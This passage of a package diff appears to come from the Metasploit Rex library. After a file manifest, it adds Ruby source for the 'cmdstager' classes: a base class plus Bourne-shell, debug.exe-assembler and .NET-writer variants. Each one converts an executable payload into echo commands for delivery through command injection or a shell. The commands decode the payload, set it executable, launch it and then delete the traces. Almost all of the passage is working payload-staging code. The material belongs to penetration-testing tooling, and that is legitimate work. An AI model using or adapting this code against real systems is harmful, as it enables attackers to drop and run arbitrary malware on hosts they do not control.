  462. data/lib/rex/ui/progress_tracker.rb +97 -0
  463. data/lib/rex/ui/subscriber.rb +160 -0
  464. data/lib/rex/ui/text/color.rb +98 -0
  465. data/lib/rex/ui/text/dispatcher_shell.rb +538 -0
  466. data/lib/rex/ui/text/input.rb +119 -0
  467. data/lib/rex/ui/text/input/buffer.rb +79 -0
  468. data/lib/rex/ui/text/input/readline.rb +129 -0
  469. data/lib/rex/ui/text/input/socket.rb +96 -0
  470. data/lib/rex/ui/text/input/stdio.rb +46 -0
  471. data/lib/rex/ui/text/irb_shell.rb +62 -0
  472. data/lib/rex/ui/text/output.rb +86 -0
  473. data/lib/rex/ui/text/output/buffer.rb +62 -0
  474. data/lib/rex/ui/text/output/buffer/stdout.rb +26 -0
  475. data/lib/rex/ui/text/output/file.rb +44 -0
  476. data/lib/rex/ui/text/output/socket.rb +44 -0
  477. data/lib/rex/ui/text/output/stdio.rb +53 -0
  478. data/lib/rex/ui/text/output/tee.rb +56 -0
  479. data/lib/rex/ui/text/progress_tracker.rb +57 -0
  480. data/lib/rex/ui/text/shell.rb +403 -0
  481. data/lib/rex/ui/text/table.rb +346 -0
  482. data/lib/rex/zip.rb +96 -0
  483. data/lib/rex/zip/archive.rb +130 -0
  484. data/lib/rex/zip/blocks.rb +184 -0
  485. data/lib/rex/zip/entry.rb +122 -0
  486. data/lib/rex/zip/jar.rb +283 -0
  487. data/lib/rex/zip/samples/comment.rb +32 -0
  488. data/lib/rex/zip/samples/mkwar.rb +138 -0
  489. data/lib/rex/zip/samples/mkzip.rb +19 -0
  490. data/lib/rex/zip/samples/recursive.rb +58 -0
  491. metadata +536 -0
@@ -0,0 +1,10 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/exploitation/cmdstager/base'
4
+ require 'rex/exploitation/cmdstager/vbs'
5
+ require 'rex/exploitation/cmdstager/debug_write'
6
+ require 'rex/exploitation/cmdstager/debug_asm'
7
+ require 'rex/exploitation/cmdstager/tftp'
8
+ require 'rex/exploitation/cmdstager/bourne'
9
+ require 'rex/exploitation/cmdstager/echo'
10
+ require 'rex/exploitation/cmdstager/printf'
@@ -0,0 +1,190 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ require 'rex/arch'
4
+ require 'msf/core/framework'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides an interface to generating cmdstagers.
12
+ #
13
+ ###
14
+
15
+ class CmdStagerBase
16
+
17
+ def initialize(exe)
18
+ @linemax = 2047 # covers most likely cases
19
+ @exe = exe
20
+ end
21
+
22
+ #
23
+ # Generates the cmd payload including the h2bv2 decoder and encoded payload.
24
+ # The resulting commands also perform cleanup, removing any left over files
25
+ #
26
+ def generate(opts = {})
27
+ # Allow temporary directory override
28
+ @tempdir = opts[:temp]
29
+ @tempdir ||= "%TEMP%\\"
30
+ if (@tempdir == '.')
31
+ @tempdir = ''
32
+ end
33
+
34
+ opts[:linemax] ||= @linemax
35
+
36
+ generate_cmds(opts)
37
+ end
38
+
39
+
40
+ #
41
+ # This does the work of actually building an array of commands that
42
+ # when executed will create and run an executable payload.
43
+ #
44
+ def generate_cmds(opts)
45
+
46
+ # Initialize an arry of commands to execute
47
+ cmds = []
48
+
49
+ # Add the exe building commands
50
+ cmds += generate_cmds_payload(opts)
51
+
52
+ # Add the decoder script building commands
53
+ cmds += generate_cmds_decoder(opts)
54
+
55
+ compress_commands(cmds, opts)
56
+ end
57
+
58
+
59
+ #
60
+ # Generate the commands to create an encoded version of the
61
+ # payload file
62
+ #
63
+ def generate_cmds_payload(opts)
64
+
65
+ # First encode the payload
66
+ encoded = encode_payload(opts)
67
+
68
+ # Now split it up into usable pieces
69
+ parts = slice_up_payload(encoded, opts)
70
+
71
+ # Turn each part into a valid command
72
+ parts_to_commands(parts, opts)
73
+ end
74
+
75
+ #
76
+ # This method is intended to be override by the child class
77
+ #
78
+ def encode_payload(opts)
79
+ # Defaults to nothing
80
+ ""
81
+ end
82
+
83
+ #
84
+ # We take a string of data and turn it into an array of parts.
85
+ #
86
+ # We save opts[:extra] bytes out of every opts[:linemax] for the parts
87
+ # appended and prepended to the resulting elements.
88
+ #
89
+ def slice_up_payload(encoded, opts)
90
+ tmp = encoded.dup
91
+
92
+ parts = []
93
+ xtra_len = opts[:extra]
94
+ xtra_len ||= 0
95
+ while (tmp.length > 0)
96
+ parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
97
+ end
98
+
99
+ parts
100
+ end
101
+
102
+ #
103
+ # Combine the parts of the encoded file with the stuff that goes
104
+ # before / after it -- example "echo " and " >>file"
105
+ #
106
+ def parts_to_commands(parts, opts)
107
+ # Return as-is
108
+ parts
109
+ end
110
+
111
+
112
+
113
+ #
114
+ # Generate the commands that will decode the file we just created
115
+ #
116
+ def generate_cmds_decoder(opts)
117
+ # Defaults to no commands.
118
+ []
119
+ end
120
+
121
+
122
+
123
+ #
124
+ # Compress commands into as few lines as possible. Minimizes the number of
125
+ # commands to execute while maximizing the number of commands per execution.
126
+ #
127
+ def compress_commands(cmds, opts)
128
+ new_cmds = []
129
+ line = ''
130
+
131
+ concat = opts[:concat_operator] || cmd_concat_operator
132
+
133
+ # We cannot compress commands if there is no way to combine commands on
134
+ # a single line.
135
+ return cmds unless concat
136
+
137
+ cmds.each { |cmd|
138
+
139
+ # If this command will fit, concat it and move on.
140
+ if ((line.length + cmd.length + concat.length) < opts[:linemax])
141
+ line << concat if line.length > 0
142
+ line << cmd
143
+ next
144
+ end
145
+
146
+ # The command wont fit concat'd to this line, if we have something,
147
+ # we have to add it to the array now.
148
+ if (line.length > 0)
149
+ new_cmds << line
150
+ line = ''
151
+ end
152
+
153
+ # If it won't fit even after emptying the current line, error out..
154
+ if (cmd.length > opts[:linemax])
155
+ raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
156
+ end
157
+
158
+ # It will indeed fit by itself, lets add it.
159
+ line << cmd
160
+
161
+ }
162
+ new_cmds << line if (line.length > 0)
163
+
164
+ # Return the final array.
165
+ new_cmds
166
+ end
167
+
168
+ #
169
+ # Can be overriden. For exmaple, use for unix use ";" instead
170
+ #
171
+ def cmd_concat_operator
172
+ nil
173
+ end
174
+
175
+ # Should be overriden if the cmd stager needs to setup anything
176
+ # before it's executed
177
+ def setup(mod = nil)
178
+
179
+ end
180
+
181
+ #
182
+ # Should be overriden if the cmd stager needs to do any clenaup
183
+ #
184
+ def teardown(mod = nil)
185
+
186
+ end
187
+
188
+ end
189
+ end
190
+ end
@@ -0,0 +1,105 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'msf/core/framework'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ class CmdStagerBourne < CmdStagerBase
11
+
12
+ def initialize(exe)
13
+ super
14
+
15
+ @var_encoded = Rex::Text.rand_text_alpha(5)
16
+ @var_decoded = Rex::Text.rand_text_alpha(5)
17
+ end
18
+
19
+ def generate(opts = {})
20
+ opts[:temp] = opts[:temp] || '/tmp/'
21
+ opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
22
+ opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
23
+ super
24
+ end
25
+
26
+ #
27
+ # Override just to set the extra byte count
28
+ #
29
+ def generate_cmds(opts)
30
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
31
+ @cmd_start = "echo -n "
32
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
33
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
34
+ opts.merge!({ :extra => xtra_len })
35
+ super
36
+ end
37
+
38
+
39
+ #
40
+ # Simple base64...
41
+ #
42
+ def encode_payload(opts)
43
+ Rex::Text.encode_base64(@exe)
44
+ end
45
+
46
+
47
+ #
48
+ # Combine the parts of the encoded file with the stuff that goes
49
+ # before / after it.
50
+ #
51
+ def parts_to_commands(parts, opts)
52
+
53
+ cmds = []
54
+ parts.each do |p|
55
+ cmd = ''
56
+ cmd << @cmd_start
57
+ cmd << p
58
+ cmd << @cmd_end
59
+ cmds << cmd
60
+ end
61
+
62
+ cmds
63
+ end
64
+
65
+ #
66
+ # Generate the commands that will decode the file we just created
67
+ #
68
+ def generate_cmds_decoder(opts)
69
+ decoders = [
70
+ "base64 --decode -",
71
+ "openssl enc -d -A -base64 -in /dev/stdin",
72
+ "python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
73
+ "perl -MMIME::Base64 -ne 'print decode_base64($_)'"
74
+ ]
75
+ decoder_cmd = []
76
+ decoders.each do |cmd|
77
+ binary = cmd.split(' ')[0]
78
+ decoder_cmd << "(which #{binary} >&2 && #{cmd})"
79
+ end
80
+ decoder_cmd = decoder_cmd.join(" || ")
81
+ decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64"
82
+ [ decoder_cmd ]
83
+ end
84
+
85
+ def compress_commands(cmds, opts)
86
+ # Make it all happen
87
+ cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
88
+ cmds << "#{@tempdir}#{@var_decoded}.bin"
89
+
90
+ # Clean up after unless requested not to..
91
+ if (not opts[:nodelete])
92
+ cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
93
+ cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
94
+ end
95
+
96
+ super
97
+ end
98
+
99
+ def cmd_concat_operator
100
+ " ; "
101
+ end
102
+
103
+ end
104
+ end
105
+ end
@@ -0,0 +1,140 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'msf/core/framework'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ ###
11
+ #
12
+ # This class provides the ability to create a sequence of commands from an executable.
13
+ # When this sequence is ran via command injection or a shell, the resulting exe will
14
+ # be written to disk and executed.
15
+ #
16
+ # This particular version uses debug.exe to assemble a small COM file. The COM will
17
+ # take a hex-ascii file, created via echo >>, and decode it to the final binary.
18
+ #
19
+ # Requires: debug.exe
20
+ #
21
+ # Written by Joshua J. Drake
22
+ #
23
+ ###
24
+
25
+ class CmdStagerDebugAsm < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+
30
+ @var_decoder_asm = Rex::Text.rand_text_alpha(8) + ".dat"
31
+ @var_decoder_com = Rex::Text.rand_text_alpha(8) + ".com"
32
+ @var_payload_in = Rex::Text.rand_text_alpha(8) + ".dat"
33
+ @var_payload_out = Rex::Text.rand_text_alpha(8) + ".exe"
34
+ @decoder = nil # filled in later
35
+ end
36
+
37
+
38
+ #
39
+ # Override just to set the extra byte count
40
+ #
41
+ def generate_cmds(opts)
42
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
43
+ @cmd_start = "echo "
44
+ @cmd_end = ">>#{@tempdir}#{@var_payload_in}"
45
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
46
+ opts.merge!({ :extra => xtra_len })
47
+ super
48
+ end
49
+
50
+
51
+ #
52
+ # Simple hex encoding...
53
+ #
54
+ def encode_payload(opts)
55
+ ret = @exe.unpack('H*')[0]
56
+ end
57
+
58
+
59
+ #
60
+ # Combine the parts of the encoded file with the stuff that goes
61
+ # before / after it.
62
+ #
63
+ def parts_to_commands(parts, opts)
64
+
65
+ cmds = []
66
+ parts.each do |p|
67
+ cmd = ''
68
+ cmd << @cmd_start
69
+ cmd << p
70
+ cmd << @cmd_end
71
+ cmds << cmd
72
+ end
73
+
74
+ cmds
75
+ end
76
+
77
+
78
+ #
79
+ # Generate the commands that will decode the file we just created
80
+ #
81
+ def generate_cmds_decoder(opts)
82
+
83
+ # Allow decoder stub override (needs to input base64 and output bin)
84
+ @decoder = opts[:decoder] if (opts[:decoder])
85
+
86
+ # Read the decoder data file
87
+ f = File.new(@decoder, "rb")
88
+ decoder = f.read(f.stat.size)
89
+ f.close
90
+
91
+ # Replace variables
92
+ decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
93
+ decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
94
+ # NOTE: these two filenames MUST 8+3 chars long.
95
+ decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
96
+ decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
97
+
98
+ # Split it apart by the lines
99
+ decoder.split("\n")
100
+ end
101
+
102
+
103
+ #
104
+ # We override compress commands just to stick in a few extra commands
105
+ # last second..
106
+ #
107
+ def compress_commands(cmds, opts)
108
+ # Convert the debug script to an executable...
109
+ cvt_cmd = ''
110
+ if (@tempdir != '')
111
+ cvt_cmd << "cd %TEMP% && "
112
+ end
113
+ cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
114
+ cmds << cvt_cmd
115
+
116
+ # Convert the encoded payload...
117
+ cmds << "#{@tempdir}#{@var_decoder_com}"
118
+
119
+ # Make it all happen
120
+ cmds << "start #{@tempdir}#{@var_payload_out}"
121
+
122
+ # Clean up after unless requested not to..
123
+ if (not opts[:nodelete])
124
+ cmds << "del #{@tempdir}#{@var_decoder_asm}"
125
+ cmds << "del #{@tempdir}#{@var_decoder_com}"
126
+ cmds << "del #{@tempdir}#{@var_payload_in}"
127
+ # XXX: We won't be able to delete the payload while it is running..
128
+ end
129
+
130
+ super
131
+ end
132
+
133
+ # Windows uses & to concat strings
134
+ def cmd_concat_operator
135
+ " & "
136
+ end
137
+
138
+ end
139
+ end
140
+ end
@@ -0,0 +1,134 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'msf/core/framework'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ ###
11
+ #
12
+ # This class provides the ability to create a sequence of commands from an executable.
13
+ # When this sequence is ran via command injection or a shell, the resulting exe will
14
+ # be written to disk and executed.
15
+ #
16
+ # This particular version uses debug.exe to write a small .NET binary. That binary will
17
+ # take a hex-ascii file, created via echo >>, and decode it to the final binary.
18
+ #
19
+ # Requires: .NET, debug.exe
20
+ #
21
+ ###
22
+
23
+ class CmdStagerDebugWrite < CmdStagerBase
24
+
25
+ def initialize(exe)
26
+ super
27
+
28
+ @var_bypass = Rex::Text.rand_text_alpha(8)
29
+ @var_payload = Rex::Text.rand_text_alpha(8)
30
+ @decoder = nil # filled in later
31
+ end
32
+
33
+
34
+ #
35
+ # Override just to set the extra byte count
36
+ #
37
+ def generate_cmds(opts)
38
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
39
+ @cmd_start = "echo "
40
+ @cmd_end = ">>#{@tempdir}#{@var_payload}"
41
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
42
+ opts.merge!({ :extra => xtra_len })
43
+ super
44
+ end
45
+
46
+
47
+ #
48
+ # Simple hex encoding...
49
+ #
50
+ def encode_payload(opts)
51
+ @exe.unpack('H*')[0]
52
+ end
53
+
54
+
55
+ #
56
+ # Combine the parts of the encoded file with the stuff that goes
57
+ # before / after it.
58
+ #
59
+ def parts_to_commands(parts, opts)
60
+
61
+ cmds = []
62
+ parts.each do |p|
63
+ cmd = ''
64
+ cmd << @cmd_start
65
+ cmd << p
66
+ cmd << @cmd_end
67
+ cmds << cmd
68
+ end
69
+
70
+ cmds
71
+ end
72
+
73
+
74
+ #
75
+ # Generate the commands that will decode the file we just created
76
+ #
77
+ def generate_cmds_decoder(opts)
78
+
79
+ # Allow decoder stub override (needs to input base64 and output bin)
80
+ @decoder = opts[:decoder] if (opts[:decoder])
81
+
82
+ # Read the decoder data file
83
+ f = File.new(@decoder, "rb")
84
+ decoder = f.read(f.stat.size)
85
+ f.close
86
+
87
+ # Replace variables
88
+ decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
89
+
90
+ # Split it apart by the lines
91
+ decoder.split("\n")
92
+ end
93
+
94
+
95
+ #
96
+ # We override compress commands just to stick in a few extra commands
97
+ # last second..
98
+ #
99
+ def compress_commands(cmds, opts)
100
+ # Convert the debug script to an executable...
101
+ cvt_cmd = ''
102
+ if (@tempdir != '')
103
+ cvt_cmd << "cd %TEMP% && "
104
+ end
105
+ cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
106
+ cmds << cvt_cmd
107
+
108
+ # Rename the resulting binary
109
+ cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
110
+
111
+ # Converting the encoded payload...
112
+ cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
113
+
114
+ # Make it all happen
115
+ cmds << "start #{@tempdir}#{@var_payload}.exe"
116
+
117
+ # Clean up after unless requested not to..
118
+ if (not opts[:nodelete])
119
+ cmds << "del #{@tempdir}#{@var_bypass}.exe"
120
+ cmds << "del #{@tempdir}#{@var_payload}"
121
+ # XXX: We won't be able to delete the payload while it is running..
122
+ end
123
+
124
+ super
125
+ end
126
+
127
+ # Windows uses & to concat strings
128
+ def cmd_concat_operator
129
+ " & "
130
+ end
131
+
132
+ end
133
+ end
134
+ end